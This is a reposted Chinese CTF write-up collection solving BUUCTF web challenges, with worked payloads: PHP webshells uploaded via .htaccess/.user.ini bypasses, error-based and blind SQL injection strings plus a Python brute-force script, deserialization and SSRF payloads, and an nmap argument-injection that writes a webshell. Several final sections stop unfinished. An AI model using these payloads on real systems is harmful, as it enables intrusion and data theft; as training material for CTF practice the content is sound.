在这里插入图片描述这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

param1[]=1&param2[]=2

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

题目类型:反序列化+PHP伪协议
在这里插入图片描述这里注释提示有一个useless.php文件,访问一下
在这里插入图片描述
发现什么都没有

代码审计:有这样一行代码

isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"

,我们需要传入一个内容为

welcome to the zjctf

的文件。这时就要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:

data://text/plain,welcome to the zjctf

,为了绕过某些过滤,这里用到base64编码。构造payload

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

。然后有一个可控参数file,构造

file=useless.php

,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:

file=php://filter/read=convert.base64-encode/resource=useless.php


得到以下经过base64加密的字符,
在这里插入图片描述
接下来进行base64解密,得到useless.php内容

<?phpclassFlag{//flag.php  public$file;publicfunction__tostring(){if(isset($this->file)){echofile_get_contents($this->file);echo"<br>";return("U R SO CLOSE !///COME ON PLZ");}}}?>
<?phpclassFlag{public$file='flag.php';publicfunction__tostring(){if(isset($this->file)){echofile_get_contents($this->file);echo"<br>";return("U R SO CLOSE !///COME ON PLZ");}}}$password=newFlag();$password=serialize($password);echo$password;?>

在这里插入图片描述
故最后payload为

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述查看源码
在这里插入图片描述

[SUCTF 2019]CheckIn

具体知识点点这里

  • 方法一:user.ini文件构成PHP后门创建.user.ini文件,前面的GIF是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。在这里插入图片描述上传在这里插入图片描述创建图片文件在这里插入图片描述上传在这里插入图片描述 蚁剑链接http://5df3767e-4da9-41f9-85fc-6629510b2f2b.node4.buuoj.cn:81/uploads/ea6cf191dc7eec7b0e43199e459204e5/index.php在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述拿到flag~~
  • 方法二:命令执行上传图片马后,扫描根目录:/index.php?a=var_dump(scandir("/")); 我们可以可以看见一个叫flag的文件/index.php?a=var_dump(file_get_contents("/flag"));or/index.php?a=system('cat /flag');

[极客大挑战 2019]HardSQL

经测试,一些and、union、select、空格等常见的SQL语句被过滤了

updataxml()函数用法

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点
例:第二个参数使用不符合语法的参数,就会爆出错误信息

  • 爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111——geek
  • 爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111——H4rDsq1
  • 爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111——id,username,password
  • 爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111——flag{2ffec74c-5046-40b9-b115-ed 这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111——6-40b9-b115-edce687a298b}

[网鼎杯 2020 青龙组]AreUSerialz

题目类型:PHP序列化+代码审计

<?php

include("flag.php");highlight_file(__FILE__);classFileHandler{protected$op;protected$filename;protected$content;//类一执行就开始调用,其作用是拿来初始化一些值。//创建对象时触发function__construct(){$op="1";$filename="/tmp/tmpfile";$content="Hello World!";$this->process();}publicfunctionprocess(){if($this->op=="1"){$this->write();}elseif($this->op=="2"){$res=$this->read();$this->output($res);}else{$this->output("Bad Hacker!");}}privatefunctionwrite(){if(isset($this->filename)&&isset($this->content)){if(strlen((string)$this->content)>100){$this->output("Too long!");die();}$res=file_put_contents($this->filename,$this->content);if($res)$this->output("Successful!");else$this->output("Failed!");}else{$this->output("Failed!");}}privatefunctionread(){$res="";if(isset($this->filename)){$res=file_get_contents($this->filename);}return$res;}privatefunctionoutput($s){echo"[Result]: <br>";echo$s;}// 类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。//对象被销毁时触发function__destruct(){if($this->op==="2")$this->op="1";$this->content="";$this->process();}}//判断变量是否为可显示字符,即ascii码值在32~125,//若是,则返回true,否则返回falsefunctionis_valid($s){for($i=0;$i<strlen($s);$i++)if(!(ord($s[$i])>=32&&ord($s[$i])<=125))returnfalse;returntrue;}//若以get传参的str变量的ASCII码值在32~125,则进行反序列化if(isset($_GET{'str'})){$str=(string)$_GET['str'];if(is_valid($str)){$obj=unserialize($str);}}

代码审计

op

变量使用强类型比较

===

判断

this->op

的值是否等于字符串2,如果等于,则将其置为1。在process()方法中,使用弱类型比较

==

判断op的值是否对等于字符串2,若为真,则执行

read()

方法与

output()

方法。在

read()

方法中,使用

file_get_contents()

函数来读取属性filename路径的文件。

编造序列化(利用public属性序列化,绕过

is_valid()

函数)

<?phpclassFileHandler{public$op=2;public$filename="php://filter/read=convert.base64-encode/resource=flag.php";public$content;}$obj=newFileHandler();echoserialize($obj);?>

得到序列化结果为

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

构造payload:

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

在这里插入图片描述然后将得到的结果base64解码
在这里插入图片描述拿到flag~~

[MRCTF2020]你传你🐎呢

具体知识点点这里
在这里插入图片描述

我先试着个一句话木马上去

<?php @eval($_POST['test']);?>

在这里插入图片描述上传失败,
接着又试了试图片马,
在这里插入图片描述

还是不行
然后就试了一下上个题的两个文件
在这里插入图片描述
上传

.user.ini

文件时,上传失败
在这里插入图片描述

在这里插入图片描述
上传木马文件时竟然成功了,但是尝试用蚁剑连一下,连接失败
看来上一题的方法不能用,下面是学习大佬的方法

做题步骤
此题需要上传两个文件

第一个:

.htaccess

文件,用来改变文件扩展名

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "a.png">

指定的是要上传的文件,注意文件名必须相同

上传时先抓包,修改

Content-Type:image/png

在这里插入图片描述点击forward,上传成功

在这里插入图片描述

第二个:木马文件,用来连接蚁剑或菜刀
在这里插入图片描述
上传时同样修改

Content-Type:image/png

在这里插入图片描述用蚁剑连接:

http://93ac29f7-de06-4936-9f07-9b157b4704d2.node4.buuoj.cn:81/upload/fa59a7192463c0cd3dae65088e762e1f/a.png

在这里插入图片描述连接成功
在这里插入图片描述
拿到flag~~

[MRCTF2020]Ez_bypass

题目类型:md5
在这里插入图片描述F12查看源码

I put something in F12for you
include'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])){$id=$_GET['id'];$gg=$_GET['gg'];if(md5($id)===md5($gg)&&$id!==$gg){echo'You got the first step';if(isset($_POST['passwd'])){$passwd=$_POST['passwd'];if(!is_numeric($passwd)){if($passwd==1234567){echo'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo"can you think twice??";}}else{echo'You can not get it !';}}else{die('only one way to get the flag');}}else{echo"You are not a real hacker!";}}else{die('Please input first');}}Please input first

这里要求

md5($id) === md5($gg) && $id !== $gg
md5($v1)===md5($v2)

数组绕过:a[]=a&b[]=b
最后可能会报错,但是

null=null

,判断为true,成功绕过

使用数组绕过:

/?id[]=a&gg[]=b

在这里插入图片描述接着要以POST传参

if(!is_numeric($passwd)){if($passwd==1234567){echo'Good Job!';highlight_file('flag.php');die('By Retr_0');}

其中

is_numeric() 

函数用于检测变量是否为数字或数字字符串。这里要求passwd不是数字或数字字符串时,弱等于判断passwd是否等于1234567
故构造payload:

passwd=1234567a

在这里插入图片描述
拿到flag~~

[GXYCTF2019]BabySQli

在这里插入图片描述
一个输入框,随便输入
在这里插入图片描述
发现进入了search.php
查看源码
在这里插入图片描述
第一行有一串加密的字符,base32+base64解密
得到:

select * from user where username = '$name'

爆字段数:

name=admin' Order by 3 #&pw=1

——注意:这里的or被过滤,使用大小写绕过

经测试admin在第二字段

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123

最后查看一下源码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><title>Do you know who am I?</title><?php
require"config.php";require"flag.php";// 去除转义if(get_magic_quotes_gpc()){functionstripslashes_deep($value){$value=is_array($value)?array_map('stripslashes_deep',$value):stripslashes($value);return$value;}$_POST=array_map('stripslashes_deep',$_POST);$_GET=array_map('stripslashes_deep',$_GET);$_COOKIE=array_map('stripslashes_deep',$_COOKIE);$_REQUEST=array_map('stripslashes_deep',$_REQUEST);}mysqli_query($con,'SET NAMES UTF8');$name=$_POST['name'];$password=$_POST['pw'];$t_pw=md5($password);$sql="select * from user where username = '".$name."'";// echo $sql;$result=mysqli_query($con,$sql);if(preg_match("/\(|\)|\=|or/",$name)){die("do not hack me!");}else{if(!$result){printf("Error: %s\n",mysqli_error($con));exit();}else{// echo '<pre>';$arr=mysqli_fetch_row($result);// print_r($arr);if($arr[1]=="admin"){if(md5($password)==$arr[2]){echo$flag;}else{die("wrong pass!");}}else{die("wrong user!");}}}?>

下面代码过滤了

/\(|\)|\=|or/

字符

if(preg_match("/\(|\)|\=|or/",$name)){die("do not hack me!");}

这里表示password进行了md5加密,且用户必须是admin

if($arr[1]=="admin"){if(md5($password)==$arr[2]){echo$flag;}

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述

显示了一些常见的SQL字符,很多都被过滤了
但还有

()

字符没被过滤,我们使用

()

代替空格,而且题目提示flag在flag表的flag字段中
这里使用脚本爆破

# -*- coding:utf-8 -*-# Author: mochu7import requests
import string

defblind_injection(url):
    flag =''
    strings = string.printable
    for num inrange(1,60):for i in strings:
            payload ='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))#format函数设置指定位置{0}{1}
            post_data ={"id":payload}
            res = requests.post(url=url,data=post_data)if'Hello'in res.text:
                flag += i
                print(str(num)+':'+flag)else:continueprint(flag)if __name__ =='__main__':
    url ='http://f22f114e-13f7-4f18-8877-3429e32adcbd.node4.buuoj.cn:81/index.php'
    blind_injection(url)

这里有的字符因时间过长可能会跳过,多执行几次累加起来即可

[GYCTF2020]Blacklist

题目类型:堆叠注入+HANDLER
在这里插入图片描述

1';show databases;#

在这里插入图片描述

1';show tables;#

在这里插入图片描述

1'; show columns from FlagHere;#

在这里插入图片描述
发现这里有一些过滤
在这里插入图片描述
然后我就没思路了,记得跟 [强网杯 2019]随便注 差不多,但这个过滤的更严

下面是学习大佬的方法:

HANDLER OPEN

语句打开一个表,使其可以使用后续

HANDLER READ

语句访问,该表对象未被其他会话共享,并且在会话调用

HANDLER CLOSE

或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

在这里插入图片描述

[网鼎杯 2018]Fakebook

题目类型:sql+ssrf+序列化+代码审计
像这种blog猜测应该是xss漏洞
在这里插入图片描述

点击join,先试了一下xss
在这里插入图片描述
在这里插入图片描述
抓包看看在这里插入图片描述没什么思路

查看大佬博客发现,blog是有限制的,必须http开头
在这里插入图片描述然后发现username处是个链接,点进去
在这里插入图片描述URL里有个参数no,使

no=0

试一试
在这里插入图片描述
没有什么新发现
尝试看看有没有SQL注入漏洞,使

no=1'

报错了,SQL语法错误,说明这是个数字型的sql注入

在这里插入图片描述
经过尝试,发现union被过滤,这里空格用

/**/

代替,构造

?no=0/**/union/**/select/**/1,2,3,4#

在这里插入图片描述
从报错信息来看,回显位置是2,而且这里的数据都被进行了序列化,爆出路径

/var/www/html

使用dirsearch扫描目录,发现

user.php.bak

,访问,出现源码

<?phpclassUserInfo{public$name="";public$age=0;public$blog="";publicfunction__construct($name,$age,$blog){$this->name=$name;$this->age=(int)$age;$this->blog=$blog;}functionget($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$output=curl_exec($ch);$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);if($httpCode==404){return404;}curl_close($ch);return$output;}publicfunctiongetBlogContents(){return$this->get($this->blog);}publicfunctionisValidBlog(){$blog=$this->blog;returnpreg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i",$blog);}}

代码审计:get函数中有出现

curl_exec()

,存在ssrf,且没有过滤。curl可用file协议,blog属性调用了get函数,所以这里使用file协议读取文件。

file:///var/www/html/flag.php

所以我们先编写脚本进行序列化

<?phpclassUserInfo{public$name='1';public$age=0;public$blog="file:///var/www/html/flag.php";}$obj=newUserInfo();echoserialize($obj);?>

在这里插入图片描述

构造payload:

?no=0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在这里插入图片描述flag.php文件的内容出现在iframe中,F12查看
在这里插入图片描述

在这里插入图片描述拿到flag~~

[GXYCTF2019]BabyUpload

题目类型:图片马+通过配置文件构造PHP后门

随便上传图片马,都提示上传失败,猜测是过滤了一些字符,在前面的[MRCTF2020]你传你🐎呢中有提到一些方法,我们先试着上传一个

.htaccess

文件

<FilesMatch "a.jpeg">
SetHandler application/x-httpd-php
</FilesMatch>

点击上传时用burp抓包,修改Content-Type为:

 image/jpeg

在这里插入图片描述上传成功

再继续上传图片马

<?php @eval($_POST['a']);?>

在这里插入图片描述蚁剑链接,拿到flag~~

查看源码

<?phpsession_start();echo"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";error_reporting(0);if(!isset($_SESSION['user'])){$_SESSION['user']=md5((string)time().(string)rand(100,1000));}if(isset($_FILES['uploaded'])){$target_path=getcwd()."/upload/".md5($_SESSION['user']);$t_path=$target_path."/".basename($_FILES['uploaded']['name']);$uploaded_name=$_FILES['uploaded']['name'];$uploaded_ext=substr($uploaded_name,strrpos($uploaded_name,'.')+1);$uploaded_size=$_FILES['uploaded']['size'];$uploaded_tmp=$_FILES['uploaded']['tmp_name'];if(preg_match("/ph/i",strtolower($uploaded_ext))){die("后缀名不能有ph!");}else{if((($_FILES["uploaded"]["type"]=="
            ")||($_FILES["uploaded"]["type"]=="image/jpeg")||($_FILES["uploaded"]["type"]=="image/pjpeg"))&&($_FILES["uploaded"]["size"]<2048)){$content=file_get_contents($uploaded_tmp);if(preg_match("/\<\?/i",$content)){die("诶,别蒙我啊,这标志明显还是php啊");}else{mkdir(iconv("UTF-8","GBK",$target_path),0777,true);move_uploaded_file($uploaded_tmp,$t_path);echo"{$t_path} succesfully uploaded!";}}else{die("上传类型也太露骨了吧!");}}}?>

这里只允许jpeg格式的图片上传,而且size<2048

[BUUCTF 2018]Online Tool

题目类型

rce

+

escapeshellarg与escapeshellcmd共用漏洞

先了解一下

escapeshellarg()

escapeshellcmd()

函数
在这里插入图片描述
在这里插入图片描述

Eg:

<?php$dir="a'";$a=escapeshellarg($dir);$b=escapeshellcmd($a);$c=escapeshellcmd($dir);print$a;echo"\n";print$b;echo"\n";print$c;?>

执行结果为:
'a'\'''
'a'\\''\'
a\'

漏洞点:单独使用

escapeshellarg

escapeshellcmd

中任意一个都不会出现问题,或者先使用

escapeshellcmd 

再使用

escapeshellarg

也不会出现问题,唯有题目中先

escapeshellarg

escapeshellcmd

会有漏洞

做题思路

<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){//获取IP$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])){highlight_file(__FILE__);//对文件语法进行高亮显示}else{$host=$_GET['host'];$host=escapeshellarg($host);//把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号$host=escapeshellcmd($host);//对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义$sandbox=md5("glzjin".$_SERVER['REMOTE_ADDR']);echo'you are in sandbox '.$sandbox;
    @mkdir($sandbox);//新建目录,默认权限,最大可能的访问权chdir($sandbox);//改变目录路径,成功返回true,失败返回falseechosystem("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);// -sT,在目标主机的日志上记录大批连接请求和错误的信息// -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令// -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟// --host-time限制扫描时间// -F,快速扫描

代码审计

system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

所以我们现在需要构造变量host的值,使远程命令/代码能够执行

这里又需要了解一些nmap的知识点:在nmap命令中 有一个参数

-oG

可以实现将命令和结果写到文件。可以上传一句话木马,再用蚁剑链接,就可以顺利拿到flag了

构造payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

在这里插入图片描述然后这里返回文件名,继续用蚁剑链接

在这里插入图片描述
在这里插入图片描述
拿到flag

[RoarCTF 2019]Easy Java

在这里插入图片描述
点击help,发现提示:

java.io.FileNotFoundException:{help.docx}

,访问help,dox,好吧,啥也不是
在这里插入图片描述

[GXYCTF2019]禁止套娃

题目类型

.git

源码泄露 + 无参rce
用GitHack扫一下目录:

python GitHacker.py http://f788ff9a-e4f3-46f1-8eff-6b1ce92932f3.node4.buuoj.cn:81/.git/

在这里插入图片描述发现index.php:

http://f788ff9a-e4f3-46f1-8eff-6b1ce92932f3.node4.buuoj.cn:81/.git/index

访问一下
在这里插入图片描述

[GWCTF 2019]我有一个数据库

题目类型:cve-2018-12613-PhpMyadmin后台文件包含漏洞
在这里插入图片描述
一看就没有utf-8编码,编码后为
在这里插入图片描述

标签: web安全

本文转载自: https://blog.csdn.net/m0_52923241/article/details/119641325
版权归原作者 吃_早餐 所有, 如有侵权,请联系我们删除。

“【CTF】buuctf web 详解(持续更新)”的评论:

还没有评论